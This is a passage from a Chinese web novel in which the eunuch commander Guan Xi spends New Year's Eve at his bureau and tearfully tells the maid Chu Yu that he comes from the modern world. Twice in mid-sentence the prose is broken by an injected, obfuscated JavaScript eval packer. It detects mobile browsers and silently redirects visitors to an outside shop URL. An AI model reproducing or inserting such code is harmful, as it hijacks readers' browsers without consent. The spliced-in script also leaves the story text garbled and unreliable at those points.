年关,真的要到了。 84.第 86 章 腊月廿九,除夕。 清晨的雪停了,天空是铅灰色的,沉沉地压在皇城巍峨的殿宇之上。但空气里那股属于年节忙碌躁动的气息,比往日更浓烈了几分。各宫各殿悬挂的簇新宫灯和彩绸在风中轻曳,偶尔传来远处光禄寺试演雅乐的丝竹声,混着太监宫女们加紧洒扫除尘,搬运年货的急促脚步声。 关禧醒来时,比平日晚了些。窗外透进来的天光已是大亮。他在暖和的被褥里又躺了片刻,听着外面隐约传来不同于往日的动静,才缓缓起身。 今日,他换上了一身半新不旧的靛青色棉袍,外罩一件玄色镶毛边的披风,比那身绯红蟒袍少了咄咄逼人的威势,多了几分内敛。头发用一根简单的乌木簪束起,额前碎发随意散落几缕。 “督主,今日可要去厂里看看?”双喜一边伺候他洗漱,一边轻声问道。 关禧“嗯”了一声,接过温热的巾帕擦脸。厂里还留着何璋带着八个人轮值,虽说安排了休假,但他这个提督,总得在除夕这天露个面,既是巡查,也算是一种姿态。 用过早膳,他带着双喜和石安,踏着尚未被完全扫净的残雪,朝东安门北的内缉事厂走去。 越靠近那片旧库房区域,宫道上的喧嚣便渐渐沉寂下去。这里本就偏僻,加上大部分人已休假,更显得空旷寂寥。只有那方内缉事厂的木牌,在灰蒙蒙的天色下,透着一股孤零零的森严。 推开厚重的大门,院子里静悄悄的,积雪被扫出几条小路,露出底下青黑色的地砖。正中的档房门紧闭,倒是旁边原本用作值房和番役歇脚的大通铺屋子里,隐隐约约传出些人声,不高。 关禧脚步顿了顿,示意双喜和石安留在原地,自己放轻了脚步,走了过去。 值房的门虚掩着,留着一道缝。里面烧着炭盆,暖烘烘的气流夹杂着劣质烧酒的味道,花生壳的焦香,还有男人们压低了的哄笑和争执声,一股脑儿从门缝里钻出来。 “……开!老子就不信这把还是瘪十!” “嘿嘿,王老五,你今天手气背到家了,认栽吧!” “少废话,愿赌服输,快给钱!” “来来来,满上满上,过年了,喝一口暖和暖和!” 透过门缝,关禧看到里面几个人围坐在一张旧桌子旁,桌上散落着骰子,几个粗瓷酒碗,一碟花生米和一包油乎乎的熟肉。何璋没在其中,大概在档房整理文书。留下的这几个番役,正趁着这难得的清闲和年节气氛,偷偷聚赌饮酒。 在这种日子,在这等偏僻之地,关禧早料到底下人会松懈。 里面的人玩得兴起,又灌了几口酒,胆子也大了些。其中一个年轻些的番役,脸上带着几分醉意,压着嗓子提议道:“哎,你们说……督主今儿会不会来?要是来了,咱们要不要……要不要也请督主玩两把?督主待咱们不错,这大过年的……” 这话一出,屋里顿时安静了一瞬。另一个年长些的,看起来更稳重的连忙低喝道:“胡吣什么!督主什么身份?也是你能拉着赌钱的?不要命了!” “我、我就是说说嘛……”年轻番役缩了缩脖子,讪讪道,“这不是……觉得督主有时候也挺……挺随和的嘛。” “随和?”有人嗤笑,“周如意那事才过去多久?你忘了?那是阎王!阎王爷给你发点饷钱,放两天假,你就敢蹬鼻子上脸了?小心把你眼珠子当骰子抠出来!” 这话带着血腥气,让屋子里刚刚升腾起的那点忘形热意瞬间凉了大半。几个人面面相觑,都没了声响,只剩下炭火毕剥和吞咽口水的细微动静。 关禧在门外,脸上没什么表情。他抬手,曲起食指,在门板上叩了三下。 “笃、笃、笃。” 清晰平稳,却像三记冰锥,猛地扎进屋内温暖的空气里。 “哗啦——”屋内响起一阵慌乱的桌椅碰撞声,夹杂着压抑的惊呼和手忙脚乱收拾东西的窸窣。不过几息功夫,门被从里面拉开,几个番役脸色惨白,酒意全吓成了冷汗,慌慌张张地挤在门口,噗通噗通跪了一地,头埋得低低的,连大气都不敢喘。 “督、督主……奴才们……奴才们该死!”为首那个年长的,声音抖得不成样子。 关禧的目光扫过他们低伏的脊背,掠过门内桌角还没来得及完全藏起的一只酒碗和几粒花生壳,最后落在地上那片被踢翻酒水洇湿的痕迹上。 寂静像冰冷的潮水,淹没了跪着的每一个人。他们能感觉到那道目光在身上停留,仿佛有实质的重量,压得他们几乎要瘫软下去。春节前一日,擅离职守,聚众赌博饮酒……哪一条拎出来,都够他们脱层皮。 良久,关禧才淡淡开口:“都起来吧。” 番役们战战兢兢地起身,垂着头,不敢看他。 “过年了,放松些,本督不怪。”关禧语气平静,比刚才在门外时还缓和了些,“但差事是差事,规矩是规矩。今日轮值的是哪几个?” 立刻有三人哆嗦着应声出列。 “你们三个,去把厂内各处门户、档房、库房再巡查一遍,看看有无疏漏。其余人,”他看向剩下那几个面如土色的,“把这里收拾干净,酒收起来,今日不许再沾。然后,该做什么做什么去。” 没有预想中的雷霆震怒,没有惩罚,甚至连一句重话都没有。这番役们惊愕地抬起头,看向关禧。 关禧却已转身,只留下一句:“何璋何在?” “何掌班在、在档房整理文书!”有人连忙回答。 关禧“嗯”了一声,举步朝档房走去。留下身后一帮人面面相觑,半晌,才如蒙大赦般,赶紧行动起来,收拾残局的动作比任何时候都麻利迅速。 档房里,何璋果然正伏案核对着一批新送来的出入记录,听到脚步声抬头,见是关禧,起身行礼,脸上并无多少异色。 关禧简单问了问厂内情况,又看了看何璋整理的文书,吩咐了几句年节期间需注意的事项,便让他继续忙了。 从档房出来,院子里那几个番役已经将值房收拾得七七八八,正垂手肃立在檐下,见他出来,眼神里既有敬畏,又多了几分复杂难言的感激。 关禧没再理会他们。他抬头看了看天色,铅云低垂,似乎还有雪意。厂里这肃杀又掺杂着年节躁动的气氛,让他觉得有些憋闷。 “双喜,石安,”他唤道,“去找些炭和柴,再弄几个红薯来。” 双喜一愣:“督主,您这是……” “找个背风的地方,生堆火,烤红薯。”关禧说得理所当然。 双喜和石安对视一眼,都有些懵,但不敢多问,连忙应下,分头去找东西了。 关禧自己在厂区后面转了一圈,找了个僻静的角落,靠近宫墙根,那里有几块废弃的石墩,背风,又远离主要房舍。不一会儿,双喜和石安抱着炭,干柴和几个用旧布包着还沾着泥土的红薯过来了。 三人动手,很快在石墩旁生起了一小堆火。枯枝噼啪作响,橘红色的火苗跳跃起来,驱散了周遭的寒意和湿气。关禧挑了两根较直的树枝,削尖了,将红薯串上,递给双喜和石安一人一个,自己也拿了一个,就着火堆慢慢翻转炙烤。 火焰舔舐着红薯的外皮,很快发出“滋滋”的轻响,一股焦香混合着炭火气,还有红薯内里糖分被高温逼出独特的甜糯香气,渐渐弥漫开来。这香气与宫中精致的点心香气截然不同,在这冷寂的宫墙根下,竟有种让人放松的魔力。 双喜和石安起初还有些拘谨,但很快,烤火的暖意和红薯诱人的香气让他们松弛下来。石安专注地看着火苗,偶尔舔一下嘴唇,眼睛里映着跳动的火光,亮晶晶的。双喜翻动着手里的红薯,小声嘀咕:“督主,这法子……真像咱们乡下冬天在野地里干的。” 关禧没接话,他看着手中红薯表皮渐渐变得焦黑鼓起,感受着指尖传来的热度,思绪有些飘远。前世模糊的记忆里,也有过这样的冬天,在老家院坝里,围着火盆烤红薯的场景。那时候的烟火气,简单纯粹。 没过一会,一阵极轻微,不同于风雪的脚步声,从他们来路的方向传来,踏在积雪上,发出细微的“咯吱”声。 关禧最先警觉,抬头望去。 只见两道身影,正穿过厂区空旷的院子,朝着他们这个僻静的角落走来。走在前面的,一身淡青色厚缎比甲,外罩月白色灰鼠皮斗篷,兜帽未戴,露出梳得一丝不苟的圆髻,发间只簪着一支素银簪子。身姿挺拔,步履沉稳,即使在这样杂乱积雪的地面上,也走得从容不迫。 是楚玉。 她手里提着一个不大的食盒。 跟在她身后半步的,是一个穿着靛蓝色杂役棉袄,身形瘦小,低垂着头的宫女,正是小菊。她双手紧紧拢在袖子里,脚步有些怯生生的,时不时飞快地抬眼偷觑一下前方的楚玉和远处的火堆,又迅速低下。 关禧握着树枝的手,紧了紧。火光照亮了他半边脸,另半边隐在墙角的阴影里,看不真切表情。 双喜和石安也看到了来人,吓得差点把手里的红薯扔进火堆。双喜更是脸色一白,慌忙站起身,手足无措地看向关禧。 楚玉在火堆几步外站定。 火光映亮了她沉静的面容,许是走得急了,或是被寒气一激,她脸颊泛着浅浅的红晕,更衬得肤色如玉。她目光先是扫过局促不安的双喜和石安,最后落在坐在石墩上拿着烤红薯的关禧身上。 “关提督好雅兴。”楚玉开口,声音清凌凌的,比这冬日的空气更冷冽几分,“在这宫墙根下,烤火取暖,倒是别致。” 关禧站起身,拍了拍衣袍上的灰尘,手里的烤红薯递给旁边的石安,“青黛姑娘。年节琐事繁忙,怎么有空到这边来?” 楚玉的目光在他沾了些炭灰的指尖和明显放松姿态上一掠而过,没有回答,转向身后的小菊,语气平淡地吩咐:“小菊,把食盒给双喜公公。” 小菊连忙应了声“是”,上前两步,食盒递给还愣着的双喜。她抬起头,飞快地看了关禧一眼,那眼神里充满了敬畏,旋即又深深低下头去,退回楚玉身后。 楚玉这才对关禧解释道:“承华宫今日做了些应节的枣泥山药糕和芝麻酥,娘娘念及旧人,吩咐我给厂里当值的送一些过来,聊表心意。”她顿了顿,目光似有若无地扫过小菊,“小菊如今在厂里当差,便让她跟着一道来了,也认认路。” 这话说得滴水不漏,既点明了是冯昭仪的意思,撇清了私相授受的嫌疑,又将带着小菊前来合理化。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186983|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 关禧自然明白其中的弯弯绕绕。他看向双喜手里的食盒,点了点头:“有劳青黛姑娘,也代我谢过娘娘挂怀。”他语气寻常,仿佛这真的只是一次普通的年节慰问。 楚玉“嗯”了一声,目光再次落回那堆火上,以及火边石墩上那几个烤得半熟,香气四溢的红薯,“看来,是我们打扰提督的雅兴了。” “谈不上。”关禧语气缓和了些,侧身让了让,“青黛姑娘若不嫌弃这烟火气,不妨也烤烤火,驱驱寒气。这红薯……快熟了。” 这个邀请有些出乎意料。楚玉明显怔了一下,长长的睫毛在火光中颤了颤。她看了一眼关禧让出的位置,又看了看那跳跃的火光,以及空气中愈发浓郁的焦甜香气。 沉默了几息。 就在关禧以为她会像往常一样,客气疏离地拒绝时,楚玉点了点头:“也好。走了这一路,确实有些冷。” 她走上前,在关禧方才坐过的石墩旁,寻了块相对干净平整的地方,解开了斗篷的系带。 小菊见状,连忙上前接过斗篷,抱在怀里。 楚玉里面穿的仍是那身淡青色比甲,勾勒出纤细挺拔的身形。她在火堆旁坐下,姿态优雅,却比平日多了几分随意。她伸出手,拢在火堆上方,指尖白皙修长,被火光照得几乎透明。 关禧也重新坐下,就坐在她对面,隔着跳跃的火苗。 双喜和石安见这架势,更加不知所措,抱着食盒,远远退开了些,留出空间。 一时间,只剩下木柴燃烧的噼啪声,和红薯在火中偶尔发出的“滋滋”轻响。空气里,炭火气,红薯焦香,还有楚玉身上那股极淡的香气,微妙地交织在一起。 关禧拿起石安手里那个烤得差不多的红薯,用树枝拨弄开外面焦黑酥脆的皮,露出里面金黄软糯冒着腾腾热气的内瓤。甜香更加浓郁。他将剥好皮的红薯,用干净的布巾垫着,递向楚玉。 “尝尝?小心烫。” 楚玉看着递到面前,散发着诱人热气和甜香的食物,又是一愣。 她抬起眼,看向关禧。 火光在他脸上明明灭灭,那双凤眼里映着暖色的光,少了几分平日御前的沉静威仪,也少了厂中提督的冷冽,甚至比那夜风雪值房中少了几分惶惑,多了一种……平常的温和。 楚玉垂下眼帘,伸出双手,接了过来。 滚烫的温度透过布巾传到掌心,让她指尖一蜷,她低头,看着手里金黄软糯的一团,犹豫了一下,然后咬了一下边缘。 甜,糯,烫,带着柴火特有的气息,简单的味道,瞬间充盈口腔。与她平日里在宫中吃的那些精细点心,完全不同。 “……很甜。”她低声道。 关禧自己也拿起一个,剥开皮,大口咬了下去,被烫得吸气,“这种粗食,也就这时候吃,才有味道。” 楚玉没再接话,小口小口地吃着手中的烤红薯。火光在她低垂的眉眼上跳跃,长长的睫毛在下眼睑投下一小片扇形的阴影。她吃得很慢,很仔细,仿佛在品尝什么稀世珍馐,又仿佛只是借着这个动作,掩饰着什么。 小菊远远看着,眼睛瞪得圆圆的,不敢相信那个平日里清冷如霜,令承华宫上下敬畏的青黛姐姐,竟然会坐在宫墙根的火堆旁,和一个太监……一起吃烤红薯。 双喜则是紧张地咽了口唾沫,心里七上八下,不知道督主和这位青黛姑娘到底是怎么回事。 一时间,这偏僻的角落,竟有种奇异的安宁。宫墙隔绝了远处的喧嚣,只有这一小堆火,几个人,和弥漫在寒冷空气中的食物香气与温暖。 直到楚玉吃完最后一口红薯,用帕子擦了擦嘴角和指尖。 “多谢提督款待。”她站起身,声音恢复了惯常的平稳,“食已送到,我也该回去了。娘娘那边还有事。” 小菊捧着斗篷上前,准备为她披上。 关禧也站了起来。他目光落在楚玉被火光映得柔和了几分的侧脸上,又很快移开,转向厂区深处那排黑黢黢的旧库房。 “且慢。”就在楚玉转身欲走时,关禧开口了。 楚玉脚步一顿,侧过头看他,眼中带着惯常的询问神色,并无波澜。 “青黛姑娘既来了,正好。厂里新近整理了一批旧档,有些涉及早年承华宫用度的记录,笔迹模糊,年份也对不上,想请姑娘帮忙辨认一二。不会耽搁太久。” 这个借口找得不算高明,甚至有些突兀。楚玉是冯昭仪身边的心腹宫女,又不是内务府的文书嬷嬷,辨认陈年旧档哪里需要劳动她?更何况是春节前一天。 双喜和石安都愣住了,小菊更是瞪大了眼,看看关禧,又看看楚玉。 而楚玉在掂量他这话里的真意。关禧面上一片沉静,迎着她的目光,好像真的只是公务所需。 片刻,楚玉点了一下头:“既如此,便看看吧。” 关禧心里一松,面上不显,对双喜和石安吩咐:“你们带小菊去值房喝杯热茶,暖暖身子。青黛姑娘随我来档房。” 双喜连忙应下,拉着还有些懵懂的石安,又招呼小菊:“小菊妹妹,这边走,这边暖和。” 小菊担忧地看了楚玉一眼,见楚玉微微颔首,才跟着双喜他们走了。 85.第 87 章 关禧引着楚玉,朝着档房走去。穿过寂静的厂区院子时,只有两人靴子踩在残雪上的咯吱声。天色比刚才更暗沉了些,铅灰色的云层压得很低。 档房门推开,里面燃着灯烛,光线尚可。何璋不在,想必是去巡查了。屋内堆满了卷宗架子,空气中弥漫着陈年纸张和墨锭的味道。 关禧反手关上了门。 门轴合拢的轻响在寂静的档房里格外清晰。 关禧站在门边,背靠着关闭的门扉,低着头,视线落在自己沾了些泥雪和炭灰的靴尖上。档房里光线昏暗,他半边身子隐在阴影中,只有侧脸被窗外透进的微光勾勒出清晰的轮廓,下颌线绷紧。 楚玉等了一会儿,见他只是沉默地站着,蹙了蹙眉:“提督要我看的旧档在何处?” 关禧依旧垂着头,没应声。 “关禧?”楚玉的声音提高了一点。 还是没有回答。档房里只有两人轻浅的呼吸声,和远处不知哪处宫殿试演雅乐的缥缈余音。 楚玉看着他这副模样,心底那点被强行按下的波澜,又隐隐有些浮动。她向前走了两步,离他近了些,能看清他低垂的眼睫,和紧抿成一条直线的唇。 “你若无事,我便回去了。”她的语气冷了下来,转身作势欲走。 就在她手指即将碰到门闩的刹那,关禧动了。 他伸出手,一把抓住了她的手腕。 力道有些大,指节因为用力泛白,掌心滚烫的温度透过她微凉的袖口布料,清晰地传递过来。楚玉浑身一僵,倏然回头看他。 关禧终于抬起了头。档房昏暗的光线下,他的眼睛亮得惊人,里面翻涌着某种压抑了许久,将要破笼而出的情绪,浓烈得让楚玉心头一悸。 楚玉挣了挣,没挣开,“关禧,你到底想干什么?这里是内缉事厂,是档房。” 关禧喉结滚动了一下,拉着她,转身朝着档房深处走去,那里有一道不起眼的侧门,通向后方一排更陈旧的库房。 楚玉被他拉着,脚步踉跄,没有再出声质问或反抗。她看着前方他挺直的背脊,感受着手腕上传来的力道和灼人的温度,心中纷乱如麻。 侧门被推开,后面是一条狭窄堆满杂物的甬道,光线几乎完全被隔绝,只有远处尽头有一点微光。空气里是浓重的尘土和朽木味道。 关禧熟门熟路地拉着她在黑暗中穿行,避开绊脚的杂物,最终推开另一扇更不起眼的木门。 眼前是一个不大的空间,看陈设,像是多年前存放杂物的耳房,如今空置,只有角落里堆着些蒙尘的破损家具。屋顶有一扇小小的气窗,透进些许天光,让屋内不至于完全漆黑。比之外面,这里更冷,更静,静得能听到彼此压抑的呼吸声。 关禧松开了她的手腕,反手关上了身后那扇吱呀作响的木门,彻底隔绝了外面的一切。 他背靠着门板,再次低下头,仿佛全身的力气都在刚才那一拉一拽中用尽了,只剩下沉默。 楚玉站在屋子中央,揉了揉被他攥得生疼的手腕,上面已经留下了一圈清晰的红痕。她环顾这间布满灰尘的废弃耳房,最后目光落回那个将她带到这里却像个锯嘴葫芦一样闷声不响的人身上。 “你带我来这里,就是为了罚站?春节将即,各宫忙碌,我没有时间陪你在这里耗着。” 关禧的肩膀颤动了一下,头垂得更低。 楚玉等了几息,见他还是没有任何表示,心头那股说不清是恼怒失望还是别的什么情绪终于压过了理智。 她转身,毫不犹豫地朝门口走去。 “我走了。” 下一秒,关禧一步上前,张开手臂,从背后紧紧抱住了她。 这个拥抱来得突然,瞬间将她箍进怀里。 他的手臂横在她胸前和腰腹,炽热的体温隔着几层衣物滚滚传来,下颌抵在她的颈窝,呼吸滚烫地喷在她的耳后和颈侧。 楚玉整个人僵住了。她能感觉到他胸腔里心脏的跳动,撞击着她的背脊,也能感觉到他身体无法抑制的细微颤抖。 “别走……”关禧终于开口了,声音嘶哑得厉害,手臂收得更紧,“楚玉……别走……” 楚玉被他勒得有些喘不过气,那灼热的呼吸和战栗的拥抱,像一把钥匙,猝不及防地捅开了她心底某个上了锁的角落。所有的质问疏离,故作冷静,在这一刻都显得苍白无力。 她没有挣扎,也没有回应。 过了许久,久到窗外那点天光又黯淡了几分,关禧紧绷的手臂才松了些力道,“……我不知道该说什么。我只是……不想让你就这么走。” 楚玉轻叹了口气,闭上了眼睛。再睁开时,眼底已是一片复杂的清明。她侧头,避开他过于灼热的呼吸,声音很轻: “关禧,你如今是内缉事厂的提督,是陛下眼前的红人。你脚下是刀山,身后是火海。你把我带到这里……是想把我,也拖进你这摊浑水里吗?” 关禧的身体明显僵了一下。 楚玉继续道,语气里听不出什么情绪,只是陈述:“那夜在值房的话,我以为已经说得很清楚。我心里有谁,你不在乎。可我在乎。我在乎你能不能活下去,在乎你走的这条路,最后会不会把自己烧成灰烬。” “你今天这样……很危险。对我,对你,都是。除夕了,关禧。过了年,风会更大。” 这话是提醒。 关禧呼吸又重了几分,一点一点松开了环抱着她的手臂,退开一步,拉开了两人之间的距离。昏暗的光线下,他的脸苍白得没有一丝血色,只有眼眶周围泛着不正常的红。 然后,他侧身,抬手指了指那扇木门,示意她离开。 楚玉本该立刻推开那扇门,头也不回地离开这个是非之地。春节将至,宫里有无数双眼睛,她在这里多停留一刻,就多一分危险。 可是,她转过身,面对着他。 就在她完全转过来的刹那,借着气窗那点吝啬的天光,她清晰地看到。 关禧的眼角,滚下一颗泪珠。 那颗泪珠划过他冷白的脸颊,留下一道湿痕,在下颌处汇聚,将落未落。他的眼圈红得厉害,连带着鼻尖也泛着红,偏又死死咬着牙关,不肯发出一点声音,只有急促压抑的呼吸和抽动的肩膀,泄露着此刻的狼狈。 楚玉瞳孔骤缩,整个人都愣住了。 关禧……又哭了? 那个在御前对答如流,沉稳得不像少年的关禧,那个在厂中立威,亲手将周如意送上绝路,眉梢都不动一下的关禧……此刻,竟然在这间布满灰尘的废弃耳房里,对着她,像个受了天大委屈又无处诉说的孩子一样……哭了? 她沉默了片刻,终于找回自己的声音,那声音比她自己预想的要干涩,也柔和了那么一丝丝。 “……你多大了?”她问,“怎么这么爱哭鼻子?” 这话不像质问,倒像……哄孩子。 关禧浑身一僵,转回头瞪她,通红的眼睛里还漾着水光。 “我十七了!” “十七岁怎么了?十七岁就不能……不能难受吗?你、你知道什么!” 吼完,他似乎更气了,胸口剧烈起伏,眼泪流得更凶,他干脆破罐子破摔般用手背狠狠抹了一把脸,结果把脸颊蹭得更花,配上他那张过分漂亮的脸和通红的眼眶鼻尖,显得既可怜又有点滑稽。 楚玉看着他这副跟个小狗似的气鼓鼓又狼狈的模样,心头那点荒谬感更重了。 “是,我不知道。”她顺着他的话,声音放得更缓,“我不知道你到底是哪朝哪代,竟能养出你这样一个十七岁就如此了得的关提督。” 她向前走了一小步,逼近他,目光锁住他湿漉漉的眼睛。 “关禧,你以前说过,你不属于这个世界,那你那个世界风土人情如何?有何新奇事物?你又是如何来到这里的?” 她的问题一个接一个,这不是方才那种带着无奈的打趣,而是回归了她青黛的本色,冯昭仪身边最敏锐,最擅洞察人心的心腹宫女。 她在套话。趁着眼前这个人情绪失控,防线最脆弱的瞬间,套取那个她早已怀疑却始终无法证实的秘密。 关禧的哭声戛然而止。 他瞪着楚玉,通红的眼睛里,羞恼迅速被惊愕和警惕取代,他意识到自己失言了,在情绪崩溃的关口,竟将最深的秘密脱口而出。 可话已出口,覆水难收。 楚玉将他的反应尽收眼底,心中那点猜测得到了某种程度的印证。 指甲掐进掌心,关禧强迫自己冷静。他应该立刻否认,应该笑一声说“我胡言乱语你莫当真”,应该把这场失控归结为情绪崩溃后的胡话,这是最安全的做法。 可是对方是楚玉。 这些话在心里转了一圈,那些准备好的托词忽然就堵在了喉咙口。 在这个人人戴着面具活命的深宫里,只有她见过他的狼狈,见过他因恐惧失态的模样,见过……最不像关提督的那个他。 而她从未用那种眼神看过他。 不是看阉宦的鄙夷,不是看疯子的畏惧,不是看一个可怜人的怜悯,她只是看着,然后接受,然后……好像这也没什么大不了。 反正她已经见过他最不堪的样子了。 反正这个世界,也只有她知道他是谁。 反正……如果连她都不能说,那他还能说给谁听。 这些念头在脑海里转得极快,快到他自己都来不及理清。他只是觉得胸口那团堵了许久的东西松动了些,那些藏了太久太久,久到快要把他压垮的秘密,终于找到了一个可以倾泻的出口。 于是他没再否认,没再躲避。 “……那是一个,没有皇帝,没有太监,没有这么多规矩和吃人宫墙的地方。人人平等,至少明面上是。女孩子可以读书,工作,自由恋爱……十七岁,应该还在学校里,为考试和未来烦恼,最大的苦恼可能是……隔壁班的女生不喜欢自己。” 他扯了扯嘴角,想笑,却比哭还难看,“有很多你想象不到的东西,铁鸟能在天上飞,铁盒子在地上跑得比马快无数倍,千里之外的人,瞬间就能通话,看到对方的样子……知识很廉价,到处都是,只要你想学。” 这些描述荒诞离奇,远超楚玉的认知范畴,但关禧的神情,语气,透着一种诡异的真实感,那不是能凭空编造出来的。 “然后呢?”她又问,“你是怎么来的?” 关禧的眼神黯淡下去,“我不知道……我只记得,我在上晚自习,很累,心脏忽然很疼……然后就在停尸房的草席上醒来了,变成了……小离子。” 他抬起头,看着楚玉,眼泪不知何时又蓄满了眼眶,“楚玉,你明白吗?我不是这里的人。我拼命想活下去,学着当太监,学着揣摩圣意,学着在这吃人的地方往上爬……可我有时候真的……真的不知道我是谁。我是关禧吗?还是那个在晚自习猝死的高中生?或者……我只是一个占了别人身体的孤魂野鬼?” “我怕死,怕得要命。可我也怕……怕有一天,连我自己都忘了自己原本的样子。怕变成真正的关提督,一个只知道争权夺利、冷酷无情的阉宦。” 他吸了吸鼻子,努力想把眼泪憋回去,“你刚才问我,是不是想把你拖进浑水……我不知道。我只知道,在这个世界,只有你知道我不是小离子,只有你……见过我最不堪的样子,却……” 他没把话说完。 楚玉长久地沉默着。 废弃的耳房里,只有关禧压抑的抽气声。 她消化着他话中那些惊世骇俗的信息,也审视着他毫无保留的脆弱。这比她预想的更离奇,也更沉重。一个来自异世的灵魂,被困在太监的身体里,在宫廷的刀尖上挣扎求生。 “你是谁,从来不是由你从何处来决定的。”她看着他,眼神复杂难明,“在这里,你就是关禧。是陛下亲赐姓名、提督内缉事厂的关公公。你走的每一步,杀过的每一个人,得到的每一分权势,都是你自己挣来的。至于你心里还记着那个世界…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190302|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是你的事。就像我心里记着娘娘,是同样的事。” 她顿了顿,向前又走了一小步,近得能感受到他身体散发的热气和他身上那股冷冽气息。 “关禧,眼泪解决不了任何问题。”她抬起手,指尖想碰碰他的脸,却在半空中停住,转而拂落了他肩头的一点灰尘,“这个世界不会因为你的来历特别,就对你手下留情。太后不会,司礼监不会,前朝的刀笔更不会。” “把眼泪擦干。然后,走出去。去做你的关提督。你刚才那些话……我从未听过。” 她这是承诺,也是警告。承诺替他保守这个惊天的秘密,警告他必须继续扮演好“关禧”这个角色。 关禧怔怔地看着她,看着她近在咫尺沉静的面容,看着她眼底那抹不容错辨的复杂幽光,忽然向前一倾,额头抵在了楚玉的肩上。 很轻的一个触碰。 楚玉身体僵了一瞬。 过了片刻,关禧闷闷的声音从她肩头传来,“楚玉……我不明白……为什么……我们明明……明明都做过那些事了,最亲密的事……为什么你就是不肯给我一个名分?哪怕只是口头上哄我一句呢?你叫我傻子,叫我关禧,你亲我,抱我,你说别负你……可为什么,连一句你是我的人这样的话,都不肯说?” 他越说语速越快,像是把这些日子以来心底最深处那点不敢触碰的委屈和惶惑都倒了出来:“我虽然现在是这个样子……可我心里、我骨子里,跟你是一样的啊。我身体是男的,可我做不了真正的男人,我的魂儿……是女人啊。你明白吗?我不是那些真正的太监,我不是他们,我跟你是一样的。” “你那天夜里说别负我……我记着,我天天都在想。可我不懂……楚玉,我不懂。如果你真的怕我负你,为什么不把我攥在手里?为什么不肯给我一个……一个能让我觉着踏实的名分?哪怕只是骗我的呢?” 他一口气说完,胸膛起伏,喘着气,等待着一个答案,又或许,只是需要把这块堵在心口的石头狠狠扔出去。 楚玉的眼睫,在昏昧光线中颤动了一下。 她没有推开他,也没有像往常那样用冷静到刻薄的话语点破什么,她微微侧过头,目光越过他汗湿的鬓角,望向那扇唯一透光的高高气窗。 窗外是皇城冬日铅灰色的天空,偶有细碎的雪沫被风卷过。 “关禧,”她开口,声音很轻,“你说你的魂儿是女人……那你告诉我,在这座宫里,一个女人,能有什么名分?” 关禧一怔。 楚玉的视线从气窗收回,重新落在他脸上。那目光平静得可怕,像两泓深不见底的寒潭,清晰地映出他此刻的茫然。 “是答应?是常在?是贵人?”她一字一句,说得极慢,每个字都像冰珠子,砸在关禧的心上,“还是像我一样,做个宫女,或者……像承华宫里其他那些女人,做个连名分都没有、只是主子闲暇时想起来逗弄一下的玩意儿?” 她向前逼近了半分,几乎与他鼻尖相触,气息交融,声音压得更低,也更冷:“你问我为什么不给你名分?关禧,你清醒一点。在这里,我楚玉自己,都还没有一个名分。我是青黛,是承华宫的掌事宫女,是冯昭仪手里一把还算好用的刀。我的一切,性命、喜怒、将来,都系在娘娘一念之间。我拿什么给你名分?我自己的名字,都不完全属于我。” “你说你魂儿是女人……”她忽然笑了一下,那笑意未达眼底,只有无尽的苍凉,“那你就更该明白,在这地方,一个女人能依靠的,从来不是什么虚妄的口头承诺,风一吹就散的情话。是权力,是筹码,是活下去,并且尽量活得好的本事。” 她的指尖,抬了起来,指腹擦过他湿润滚烫的眼角,拭去那残留的泪痕。 “我那夜说别负我,不是要你用虚名来拴住我。是要你活着,好好地、清醒地活着。要你握紧你手里的刀,坐稳你现在的位置。因为只有你关提督站得够高,立得够稳,我这个连自己名分都悬在空中的人,才有可能……在你这棵树上,暂时歇一歇脚,借一点荫凉。” “你要的名分,”她最终退开一丝距离,目光如淬了冰的琉璃,清冷透彻,“我给不起。这宫里,除了陛下和几位真正的主子,谁也给不起谁真正的名分。我们能做的,就是像冬天的藤蔓一样,在石缝里找到一点支撑,拼命缠紧,熬过去。至于春天来了会怎样……那不是现在该想的事。” 她说完,不再看他,转身,手按在了那扇木门上。 “把眼泪擦干净,关禧。记住你是谁。你不是小离子,不是那个猝死的高中生。你是陛下亲赐名号、提督内缉事厂的关禧。你的眼泪,你的委屈,你的那点不一样……在这里,一文不值。能让你活下去,让我可能活得稍好一点的,只有你现在的身份和权力。” 门轴发出艰涩的转动声,一线微光从逐渐扩大的门缝里渗入,照亮她半边沉静的侧脸和挺直的背脊。 “午时了,各宫该领除夕的赏赐了。”她最后留下这句话,身影便消失在那片微弱的光亮里,脚步声很快远去。 废弃的耳房重新沉入昏暗。 关禧僵立在原地,脸上还残留着她指尖冰凉的触感,和她话语带来的比冰雪更刺骨寒意。 他抬起手,用手背狠狠蹭过自己的眼睛和脸颊。 湿冷一片。 楚玉的话像一把钝刀子,把他那些隐秘自怜,不合时宜的期待,一层层刮开,露出底下血淋淋的现实。 是啊,他算什么?楚玉又算什么?在这座吞噬了无数欲望和人生的宫殿里,两个连自身都如浮萍般不由自主的人,却妄图向对方索求一个安放灵魂的名分? 多么可笑,又多么……可悲。 他低头,看着自己身上这身靛青色的棉袍,想着乾元殿里那身绯红的蟒服,想着东安门北那块森严的内缉事厂木牌。 活下去。握紧刀。坐稳位置。 只有这些,才是真实的。才是他和楚玉之间,那点微弱羁绊能够暂时存在的唯一基石。 86.第 88 章 正月初一,元旦。 